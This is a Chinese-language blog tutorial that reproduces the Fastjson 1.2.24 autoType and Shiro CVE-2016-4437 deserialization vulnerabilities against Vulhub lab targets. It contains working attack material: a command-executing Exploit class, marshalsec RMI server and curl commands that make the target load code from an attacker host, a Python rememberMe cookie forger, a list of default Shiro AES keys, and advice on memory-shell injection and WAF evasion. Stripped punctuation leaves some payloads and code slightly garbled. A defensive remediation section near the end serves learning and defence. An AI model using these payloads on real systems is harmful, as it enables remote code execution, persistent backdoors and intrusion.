Fastjson与Shiro反序列化漏洞复现:从原理到实战攻防

发布时间:2026/6/22 21:32:03
Fastjson与Shiro反序列化漏洞复现:从原理到实战攻防 1. 项目概述与背景最近在整理内部安全测试的案例库发现fastjson 1.2.24和Apache Shiro的CVE-2016-4437这两个漏洞依然是很多老旧系统里绕不开的“老朋友”。虽然它们都是五六年前的漏洞了但在一些历史遗留项目、未及时更新的第三方组件或者某些特定行业的封闭系统中依然有很高的出现频率。对于安全从业者来说理解它们的原理并能够亲手复现不仅是基本功更是理解Java反序列化攻击链的一个绝佳入口。fastjson的漏洞利用依赖于其自动类型转换autoType机制而Shiro的漏洞则是因为其RememberMe功能的加密密钥硬编码或泄露导致的反序列化攻击。这两个漏洞组合起来往往能在一个目标上打开从信息泄露到远程代码执行的完整通路。这篇文章我就以一个渗透测试工程师的视角带大家从环境搭建、原理分析、到手工和工具化利用完整地走一遍这两个漏洞的复现流程。无论你是刚入门的安全爱好者还是想巩固基础的安全工程师相信都能从中获得一些实操的启发。2. 漏洞原理深度剖析2.1 Fastjson 1.2.24反序列化漏洞核心Fastjson在1.2.24及之前版本中为了提供便捷的JSON解析功能默认支持autoType特性。这个特性的本意是好的当解析一个JSON字符串时如果其中包含了type字段来指定一个具体的Java类名Fastjson会尝试去实例化这个类并调用其setter或getter方法来完成数据绑定。问题就出在这个“实例化”和“方法调用”的过程缺乏严格的安全限制。攻击者可以构造一个恶意的JSON字符串其中的type指向一个存在于目标Classpath中的、具有危险方法的类。一个经典的利用链是com.sun.rowset.JdbcRowSetImpl。这个类有一个setDataSourceName方法可以设置一个JNDI数据源地址还有一个setAutoCommit方法当autoCommit被设置为true或从false变为true时它会自动去连接并查找之前设置的JNDI地址。如果这个JNDI地址指向一个攻击者控制的RMI或LDAP服务那么目标服务器就会向攻击者的服务发起请求并加载执行攻击者指定的远程类从而造成远程代码执行RCE。整个漏洞利用的关键在于Fastjson在反序列化过程中为了将JSON中的值填充到目标对象的属性里会调用该对象所有符合规则的setter方法。攻击者通过精心构造的JSON控制了JdbcRowSetImpl对象的dataSourceName和autoCommit属性间接触发了JNDI查询。这个过程完全绕过了常规的业务逻辑是纯粹的数据驱动代码执行。注意这个漏洞的利用成功需要满足几个条件1. 目标服务器Classpath中存在可利用的类如JdbcRowSetImpl它通常存在于rt.jar中2. 目标服务器的Java版本较低通常8u191或者虽然版本高但存在其他绕过限制的利用链3. 目标服务器网络可达攻击者控制的JNDI服务。在Java 8u191之后Oracle默认禁用了从远程地址加载工厂类使得传统的JNDI注入利用方式失效但这并不意味着漏洞不存在只是利用链需要更新。2.2 Shiro CVE-2016-4437反序列化漏洞核心Apache Shiro是一个强大的Java安全框架提供了认证、授权、加密和会话管理等功能。其“记住我”RememberMe功能非常常用用户登录时勾选“记住我”服务端会生成一个加密的Cookie发送给浏览器下次访问时浏览器携带此CookieShiro会解密并反序列化其中的信息来自动完成登录。CVE-2016-4437的根源在于Shiro用于加密和解密RememberMe Cookie的密钥。在早期版本的Shiro中这个密钥是硬编码在框架源代码里的org.apache.shiro.mgt.AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES。即使部分用户或开发人员修改了密钥也常常使用弱密钥或将其写在配置文件中。攻击者如果获取到了这个密钥就可以伪造任意的RememberMe Cookie。更致命的是Shiro在解密Cookie后会对解密出的字节数组直接进行Java原生反序列化java.io.ObjectInputStream。这意味着攻击者可以使用获取到的密钥加密一个恶意的Java序列化对象将其作为RememberMe Cookie发送给服务器。Shiro服务器会用相同的密钥解密然后毫无戒备地进行反序列化操作从而触发反序列化漏洞导致任意代码执行。这个漏洞之所以影响深远是因为它独立于业务代码。只要目标应用使用了存在漏洞版本的Shiro1.2.4并且开启了RememberMe功能无论业务逻辑多么复杂攻击者都有了一条直接通往RCE的通道。漏洞利用的关键步骤就两步一是获取加密密钥二是构造一个能被成功反序列化并执行的Gadget链利用链。3. 靶场环境搭建与配置3.1 使用Vulhub快速搭建漏洞环境对于漏洞复现和学习我最推荐使用Vulhub。它是一个开源的漏洞靶场集成环境基于Docker Compose一键就能启动一个干净、隔离的漏洞环境省去了自己编译代码、配置依赖的麻烦。首先确保你的实验机器上已经安装了Docker和Docker Compose。然后克隆Vulhub的仓库git clone https://github.com/vulhub/vulhub.git cd vulhubVulhub里同时包含了fastjson和shiro的漏洞环境。我们需要分别启动它们。为了模拟真实情况我们可以先启动一个包含fastjson漏洞的Web应用再启动一个独立的Shiro漏洞应用。在实际测试中它们可能存在于同一服务器的不同服务中。进入fastjson漏洞目录并启动cd fastjson/1.2.24-rce docker-compose up -d启动完成后使用docker ps命令查看容器是否正常运行并记下映射的端口通常是8090。访问http://your-ip:8090应该能看到一个简单的JSON测试页面。接着启动Shiro漏洞环境。由于Vulhub的Shiro漏洞环境可能是一个独立的Web应用我们进入其目录cd ../../shiro/CVE-2016-4437 docker-compose up -d同样检查容器状态和映射端口通常是8080。访问http://your-ip:8080会看到一个Shiro示例应用的登录页面。实操心得使用Vulhub时建议每次只运行一个靶场环境避免端口冲突。如果遇到端口占用可以修改目录下的docker-compose.yml文件将服务的ports映射改为其他可用端口例如将”8080:8080″改为”8081:8080″。测试完毕后务必使用docker-compose down命令清理环境释放资源。3.2 手工搭建与调试环境可选如果你想更深入地理解漏洞细节比如调试Fastjson解析过程或Shiro的Cookie处理流程手工搭建一个简单的Spring Boot或Servlet Web应用是更好的选择。这里简述一下思路对于Fastjson漏洞你可以创建一个Spring Boot Web项目在pom.xml中显式引入有漏洞的Fastjson版本如1.2.24并编写一个接收JSON参数的HTTP接口。这个接口使用JSON.parseObject()方法解析用户输入。这样你就能在IDE中打断点一步步跟踪Fastjson是如何解析type并调用setter方法的。对于Shiro漏洞你需要创建一个Web应用集成Shiro 1.2.4及以下版本并在Shiro配置中启用RememberMe功能。然后你可以编写一个简单的登录页面。在调试时你可以重点关注org.apache.shiro.mgt.DefaultSecurityManager的resolvePrincipals方法以及AbstractRememberMeManager的getRememberedPrincipals方法观察Cookie是如何被解密和反序列化的。手工搭建环境虽然耗时但对于理解漏洞触发路径、后续编写检测脚本或挖掘新型利用链有不可替代的作用。它让你对漏洞的“上下文”有了完全的控制权。4. Fastjson 1.2.24漏洞复现实战4.1 漏洞检测与初步验证面对一个疑似存在Fastjson漏洞的目标我们首先要做的是检测。由于漏洞触发点通常是一个接收JSON的HTTP端点我们需要先找到这样的接口。可以通过爬虫收集请求或者根据常见功能点如登录、数据提交、API接口进行模糊测试。一种经典的检测方法是利用Fastjson在解析特定语法时会报出包含完整类名异常的特性。我们可以发送一个畸形的JSON数据例如{“type”:”java.net.InetAddress”,”val”:”dnslog.cn”}或者{“type”:”java.net.Inet4Address”,”val”:”http://dnslog.cn”}。如果目标使用的是Fastjson并且版本较低在解析java.net.InetAddress类时可能会尝试解析我们提供的域名从而向我们的DNSLog平台发起一次DNS查询。通过查看DNSLog是否有记录可以间接判断是否存在Fastjson以及其是否具有出网行为。更可靠的检测方式是使用时间延迟Sleep判断。构造一个利用java.lang.Thread.sleep()的Payload。由于Fastjson在调用setter时参数类型不匹配会尝试进行类型转换我们可以构造如下Payload{ type: java.lang.AutoCloseable, type: sun.rmi.server.MarshalOutputStream, out: { type: java.util.zip.InflaterOutputStream, out: { type: java.io.FileOutputStream, file: /tmp/test, append: false }, infl: { input: eJxLzC3ISQUAom8GCw }, bufLen: 100 }, protocolVersion: 1 }但更常见的检测Payload会尝试触发一个长时间的sleep。不过在真实测试中基于DNSLog的检测方式更安全、更隐蔽不容易触发目标的监控告警。4.2 搭建恶意JNDI/RMI服务一旦确认目标存在Fastjson漏洞且可能出网下一步就是搭建恶意的JNDI服务来提供恶意类。我们通常使用 marshalsec 这个工具来启动一个恶意的RMI或LDAP服务。首先需要准备一个恶意的Java类这个类需要继承ObjectFactory或Referenceable并且其静态代码块或构造函数中包含我们想要执行的命令。例如我们编写一个Exploit.classpublic class Exploit { public Exploit() { try { Runtime.getRuntime().exec(new String[]{/bin/bash, -c, touch /tmp/success_fastjson}); } catch (Exception e) { e.printStackTrace(); } } }将其编译成Exploit.class文件。然后使用marshalsec启动一个RMI服务并指定远程类的位置。假设我们的攻击机IP是192.168.1.100我们将Exploit.class放在HTTP服务根目录下例如/var/www/html/然后执行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.100:8000/#Exploit 1099这条命令会在攻击机的1099端口启动一个RMI服务。当有客户端即存在漏洞的服务器连接过来时它会告诉客户端去http://192.168.1.100:8000/Exploit.class加载我们的恶意类。同时我们需要在攻击机上启动一个简单的HTTP服务比如用Python来托管Exploit.class文件python3 -m http.server 80004.3 构造并发送攻击Payload现在万事俱备只欠东风。我们需要构造最终的Fastjson攻击Payload并发送给目标接口。完整的Payload如下所示{ b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://192.168.1.100:1099/Exploit, autoCommit:true } }这个Payload创建了一个JdbcRowSetImpl对象设置了dataSourceName为我们的恶意RMI服务地址并将autoCommit设置为true。当Fastjson反序列化这个对象调用setAutoCommit(true)时就会触发JNDI查询连接到我们的RMI服务器进而加载并实例化远程的Exploit类执行其中的命令。我们可以使用curl命令发送这个Payloadcurl -X POST http://target-ip:8090/your-json-endpoint \ -H Content-Type: application/json \ -d {b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.1.100:1099/Exploit,autoCommit:true}}发送成功后立即查看我们启动的RMI服务终端和HTTP服务终端应该能看到有连接和请求日志。然后我们可以进入靶场容器验证命令是否执行成功docker exec -it container_id /bin/bash ls -la /tmp/如果看到/tmp/success_fastjson文件被创建则证明远程代码执行成功。注意事项在实际渗透测试中如果目标Java版本较高8u191上述基于com.sun.rowset.JdbcRowSetImpl的利用链可能会失败。此时需要寻找其他不在黑名单中且可利用的类或者利用目标Classpath中存在的其他第三方库如commons-collections, groovy等构造更复杂的二次反序列化利用链。这也是为什么漏洞复现时控制靶场环境的Java版本与目标一致非常重要的原因。5. Shiro CVE-2016-4437漏洞复现实战5.1 密钥检测与获取利用Shiro反序列化漏洞的第一步也是最关键的一步就是获取到用于加密RememberMe Cookie的AES密钥。没有正确的密钥我们无法构造能被服务器成功解密的恶意Cookie。1. 密钥猜解由于历史原因很多系统使用了Shiro的默认密钥或常见的弱密钥。我们可以使用一个密钥字典进行爆破。常用的默认和弱密钥包括kPHbIxk5D2deZiIxcaaaA 4AvVhmFLUs0KTA3Kprsdag Z3VucwAAAAAAAAAAAAAAAA wGiHplamyXlVB11UXWol8g 2AvVhdsgUs0FSA3SDFAdag fCq/xW488hMTCDcmJ3aQ 1QWLxgNY9avZ4YcAg8Fbg 0AvVhmFLUs0KTA3Kprsdag我们可以使用Burp Suite的Intruder模块或者编写Python脚本遍历这些密钥尝试解密从目标网站捕获的一个合法RememberMe Cookie通常名为rememberMe如果解密后能反序列化出一个正常的Java对象或者不报错则说明密钥正确。2. 密钥泄露如果猜解失败密钥可能被硬编码在源代码或配置文件中。常见的泄露点包括Git源码泄露通过.git目录泄露获取源代码在配置文件如shiro.ini,application.yml,application.properties中搜索cipherKey、rememberMe、AES等关键词。配置文件备份如web.xml.bak,shiro.ini.bak等。错误信息泄露在某些配置错误或调试信息中可能会打印出密钥。依赖库中的默认配置如果开发人员直接使用了某些开源项目的示例配置密钥也可能随之泄露。在Vulhub的靶场环境中为了教学目的通常使用的是默认密钥kPHbIxk5D2deZiIxcaaaA。我们可以直接使用这个密钥进行后续攻击。5.2 利用工具生成恶意Cookie获取到密钥后我们需要构造一个恶意的Java序列化对象并用该密钥进行AES-CBC加密和Base64编码最终生成一个可用的rememberMeCookie。手动完成序列化、加密、编码的过程比较繁琐我们通常使用现成的工具比如shiro_attack、ysoserial等。这里以ysoserial为例。ysoserial是一个生成Java反序列化利用链Payload的工具它集成了多种常见的Gadget链。对于Shiro漏洞我们通常使用CommonsCollections系列的链前提是目标Classpath中存在相应版本的commons-collections库。首先使用ysoserial生成一个恶意的序列化对象这里我们选择CommonsCollections2链执行命令touch /tmp/success_shirojava -jar ysoserial.jar CommonsCollections2 touch /tmp/success_shiro payload.ser这会生成一个包含我们命令的序列化字节流并保存到payload.ser文件中。接下来我们需要使用Shiro的AES-CBC加密模式用我们获取到的密钥对这个payload.ser文件进行加密和编码。可以编写一个简单的Python脚本完成这个工作import sys import base64 import uuid from Crypto.Cipher import AES from Crypto.Util.Padding import pad def encrypt(key, payload): # Shiro的AES模式为CBCIV为随机生成但会放在加密结果的前16字节 iv uuid.uuid4().bytes cipher AES.new(base64.b64decode(key), AES.MODE_CBC, iv) # 需要PKCS5Padding encrypted cipher.encrypt(pad(payload, AES.block_size)) # 最终Cookie base64( iv encrypted ) return base64.b64encode(iv encrypted).decode() if __name__ __main__: key kPHbIxk5D2deZiIxcaaaA # 替换为你的密钥 with open(payload.ser, rb) as f: payload f.read() rememberMe encrypt(key, payload) print(rememberMe)运行这个脚本就会输出一个长长的Base64字符串这就是我们构造好的恶意rememberMeCookie。5.3 发送Payload并验证执行结果现在我们有了恶意的Cookie就可以对目标发起攻击了。Shiro的RememberMe Cookie是在请求头Cookie中发送的。我们只需要在访问目标任意页面甚至是未授权页面时带上这个Cookie即可。使用curl命令发送请求curl -v http://target-ip:8080/anypage \ -H Cookie: rememberMe这里替换为上一步生成的Base64字符串或者你也可以使用Burp Suite的Repeater模块手动替换请求中的rememberMeCookie值。发送请求后如果漏洞存在且利用链可用我们的命令touch /tmp/success_shiro就会在目标服务器上执行。我们同样可以进入Shiro靶场的Docker容器进行验证docker exec -it shiro_container_id /bin/bash ls -la /tmp/如果看到/tmp/success_shiro文件恭喜你漏洞复现成功。实操心得在实际测试中可能会遇到几种情况导致失败。一是密钥不正确需要重新探测或猜解。二是目标Classpath中不存在我们使用的Gadget链所需的依赖库如commons-collections 3.2.1。这时需要换用其他链比如CommonsBeanutils1、Jdk7u21等这需要对目标应用的依赖库进行分析。三是目标服务器可能部署了WAF或RASP运行时应用自保护拦截了反序列化过程中危险类的加载或命令执行行为。此时需要尝试更隐蔽的命令执行方式或者使用内存马等无文件落地的利用技术。6. 组合利用与深度利用思路6.1 从信息泄露到RCE的路径在实际的渗透测试场景中我们很少能一帆风顺地直接拿到RCE。更常见的情况是通过信息收集发现目标使用了存在漏洞的组件但直接利用受阻。这时Fastjson和Shiro漏洞的组合或者它们与其他漏洞的串联就提供了更多的可能性。一个典型的路径是Fastjson不出网RCE - 利用DNSLog或延迟探测确认漏洞 - 寻找其他方式获取交互式Shell。如果目标Fastjson版本存在漏洞但Java版本较高导致JNDI注入失败我们可以尝试使用不出网的利用链。例如利用java.lang.ProcessBuilder或java.lang.Runtime直接执行命令但需要目标Classpath中存在可以触发这些类实例化的Gadget。或者我们可以尝试写入一个Webshell到可访问目录。这需要我们知道网站的绝对路径并且有写入权限。路径信息可能通过报错信息、目录遍历等其他漏洞获得。对于Shiro漏洞如果直接执行系统命令被拦截我们可以考虑上传一个JSP或Java类的Webshell。首先利用反序列化漏洞执行命令将Webshell文件内容通过echo或wget的方式写入到Web目录。这需要我们知道Web目录的路径。路径信息同样可能来自其他信息泄露漏洞或者通过一些默认路径、爆破等方式获取。6.2 内存马注入技术在攻防对抗日益激烈的今天传统的上传文件Webshell的方式很容易被文件监控或定期扫描发现。内存马Memory Shell技术因其无文件落地、隐蔽性高的特点成为高级利用的首选。无论是通过Fastjson还是Shiro的反序列化漏洞我们最终都可以实现内存马的注入。以注入一个Tomcat Filter型内存马为例其核心思路是利用漏洞执行一段Java代码这段代码通过反射机制获取当前Tomcat的ApplicationContext然后动态创建一个恶意的Filter并将其注册到全局Filter链的最前面。这样所有经过该Web应用的请求都会先经过我们的恶意Filter从而我们可以实现命令执行、流量代理等后门功能。利用反序列化漏洞执行内存马注入代码对Payload的构造要求较高。通常需要将注入代码编译成class文件然后进行Base64编码或字节数组化再通过ClassLoader动态加载并执行。这个过程需要绕过可能存在的字符过滤、长度限制等。成熟的工具如Behinder冰蝎、Godzilla哥斯拉的Java版本其Payload就包含了这种内存马注入的能力。在复现漏洞时我们可以直接使用这些工具生成的Payload配合我们获取的Shiro密钥或Fastjson的利用链进行投递从而获得一个加密的、交互式的Webshell管理通道。6.3 漏洞修复与防御建议作为防守方了解漏洞如何修复至关重要。对于Fastjson升级版本这是最根本的解决方案。将Fastjson升级到最新安全版本如1.2.83及以上。新版本默认关闭了autoType支持并引入了更严格的安全机制。关闭autoType如果因兼容性问题无法立即升级可以在创建JSONParser或调用parseObject时通过ParserConfig.getGlobalInstance().setAutoTypeSupport(false);全局关闭autoType或者在具体解析时使用Feature.SupportNonPublicField等特性时格外小心。使用安全白名单如果业务必须使用autoType务必配置一个明确的、最小化的安全白名单ParserConfig.addAccept()只允许反序列化已知的、安全的类。输入过滤与校验对用户输入的JSON字符串进行严格的格式和内容校验过滤掉非法的type字段。对于Shiro升级版本升级到Shiro 1.2.5及以上版本。新版本移除了默认密钥强制要求开发者在配置中显式指定一个安全的密钥。使用强密钥在Shiro配置中为rememberMe的cipherKey属性配置一个足够长、足够随机的密钥建议使用密钥生成工具生成并妥善保管。禁用RememberMe如果业务不需要“记住我”功能直接在配置中关闭它。升级依赖库及时升级项目中可能被用于Gadget链的第三方库如commons-collections、commons-beanutils等降低被利用的风险。部署RASP/ WAF在应用层或网络层部署能够检测和阻断Java反序列化攻击的安全产品。7. 常见问题排查与解决实录在复现过程中你几乎一定会遇到各种问题。下面是我踩过的一些坑和解决方案。问题1Fastjson漏洞利用时JNDI服务已启动但目标服务器没有发起连接请求。排查思路网络连通性首先确认攻击机与靶机之间网络是否互通防火墙是否放行了相关端口RMI的1099HTTP的8000。可以在靶机容器内尝试telnet 攻击机IP 1099。Java版本检查靶机Java版本。如果版本高于8u191默认的JNDI利用方式会失败。需要换用不出网的利用链。使用java -version命令确认。Payload格式确认发送的JSON Payload格式正确type的类名拼写无误且目标Classpath中存在该类。可以尝试换用其他已知存在的类进行测试。接口路径确认你测试的HTTP接口确实是使用JSON.parseObject()或类似方法解析请求体的。可以尝试使用正常的JSON数据测试接口是否正常工作。依赖冲突检查靶场环境是否真的使用了指定版本的Fastjson。有时可能存在多个JSON库或者Fastjson被其他包装了。问题2Shiro漏洞利用时发送恶意Cookie后没有任何反应服务器返回正常页面或登录页。排查思路密钥错误这是最常见的原因。确认使用的密钥是否正确。可以尝试使用多个常见密钥字典进行爆破。Gadget链不匹配目标应用的Classpath中可能没有你使用的ysoserial Gadget链所需的依赖库如特定的commons-collections版本。尝试换用其他链例如CommonsBeanutils1通常兼容性较好。可以使用java -jar ysoserial.jar查看所有可用的链。Payload长度限制某些中间件或WAF可能对Cookie长度有限制。过长的序列化Payload可能导致被截断。可以尝试生成执行简单命令的短Payload如echo 1。RememberMe功能未开启虽然漏洞存在但目标应用可能根本没有在Shiro配置中启用RememberMe功能。观察登录页面是否有“记住我”复选框或者尝试抓取一个正常登录流程的包看是否会设置rememberMeCookie。Java安全策略目标JVM可能设置了严格的安全策略禁止执行某些操作如执行系统命令。可以尝试换用不直接执行命令的Payload比如发起一个DNS请求或HTTP请求到你的服务器以验证漏洞是否触发。问题3命令执行成功了如创建了文件但无法获得反向Shell。排查思路网络限制目标服务器可能处于内网无法直接向外连接你的公网IP和端口。或者出站流量受到防火墙限制。可以尝试使用DNSLog、HTTPLog等方式先确认命令执行和出网能力。命令语法问题Linux和Windows的命令语法不同。确保你的命令适用于目标操作系统。在Docker Linux环境中使用/bin/bash -c如果是Windows可能需要cmd /c。编码问题通过反序列化传递的命令字符串可能会遇到编码问题。尽量使用简单的命令和纯ASCII字符。对于复杂命令可以尝试先写入一个脚本文件再执行。权限问题执行命令的进程可能权限较低无法绑定端口或访问某些目录。尝试在/tmp等通用可写目录进行操作。复现漏洞的过程本质上是一个不断假设、验证、调试和解决问题的过程。耐心和细致的观察日志包括攻击端服务日志、靶场应用日志、容器日志是定位问题的关键。每一次失败和排查都会让你对漏洞机制的理解更深一层。